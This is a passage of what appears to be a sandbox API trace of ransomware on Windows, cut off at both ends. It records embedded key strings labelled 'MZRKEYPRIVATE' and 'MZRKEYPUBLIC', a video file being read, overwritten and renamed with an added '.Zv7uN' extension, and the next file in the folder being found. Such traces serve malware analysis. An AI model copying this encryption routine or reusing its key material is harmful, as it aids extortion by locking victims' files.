PzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0086.953] GetCurrentThreadId () returned 0xa30 [0086.953] GetCurrentThreadId () returned 0xa30 [0086.953] GetCurrentThreadId () returned 0xa30 [0086.953] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0086.953] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6bc7c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0086.954] GetCurrentThreadId () returned 0xa30 [0086.954] GetCurrentThreadId () returned 0xa30 [0086.954] GetCurrentThreadId () returned 0xa30 [0086.954] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\eEGCUjpx7f_iY-vLAlk.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\eegcujpx7f_iy-vlalk.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0086.954] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0086.954] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0086.954] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x13cf1 [0086.954] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0086.954] ReadFile (in: hFile=0x11c, lpBuffer=0x1efff40, nNumberOfBytesToRead=0x13cf1, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1efff40*, lpNumberOfBytesRead=0x18f6a0*=0x13cf1, lpOverlapped=0x0) returned 1 [0086.957] CloseHandle (hObject=0x11c) returned 1 [0086.959] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\eEGCUjpx7f_iY-vLAlk.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\eegcujpx7f_iy-vlalk.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0086.962] WriteFile (in: hFile=0x11c, lpBuffer=0x1f13f70*, nNumberOfBytesToWrite=0x13cf1, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f13f70*, lpNumberOfBytesWritten=0x18f6ac*=0x13cf1, lpOverlapped=0x0) returned 1 [0086.966] CloseHandle (hObject=0x11c) returned 1 [0086.973] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\eEGCUjpx7f_iY-vLAlk.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\eegcujpx7f_iy-vlalk.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\eEGCUjpx7f_iY-vLAlk.mp4.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\eegcujpx7f_iy-vlalk.mp4.zv7un")) returned 1 [0086.974] GetCurrentThreadId () returned 0xa30 [0086.974] GetCurrentThreadId () returned 0xa30 [0086.974] GetCurrentThreadId () returned 0xa30 [0086.974] GetCurrentThreadId () returned 0xa30 [0086.974] GetCurrentThreadId () returned 0xa30 [0086.974] GetCurrentThreadId () returned 0xa30 [0086.974] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd530f740, ftCreationTime.dwHighDateTime=0x1d5dd17, ftLastAccessTime.dwLowDateTime=0xd2a38080, ftLastAccessTime.dwHighDateTime=0x1d5d833, ftLastWriteTime.dwLowDateTime=0xd2a38080, ftLastWriteTime.dwHighDateTime=0x1d5d833, nFileSizeHigh=0x0, nFileSizeLow=0x18b90, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="KjRuBvq-LMhKwa.avi", cAlternateFileName="KJRUBV~1.AVI")) returned 1 [0086.974] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0086.975] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0086.975] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\KjRuBvq-LMhKwa.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\kjrubvq-lmhkwa.avi"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd530f740, ftCreationTime.dwHighDateTime=0x1d5dd17, ftLastAccessTime.dwLowDateTime=0xd2a38080, ftLastAccessTime.dwHighDateTime=0x1d5d833, ftLastWriteTime.dwLowDateTime=0xd2a38080, ftLastWriteTime.dwHighDateTime=0x1d5d833, nFileSizeHigh=0x0, nFileSizeLow=0x18b90)) returned 1 [0086.975] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\KjRuBvq-LMhKwa.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\kjrubvq-lmhkwa.avi")) returned 0x20 [0086.991] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\KjRuBvq-LMhKwa.avi", dwFileAttributes=0x80) returned 1 [0086.993] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0086.993] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRX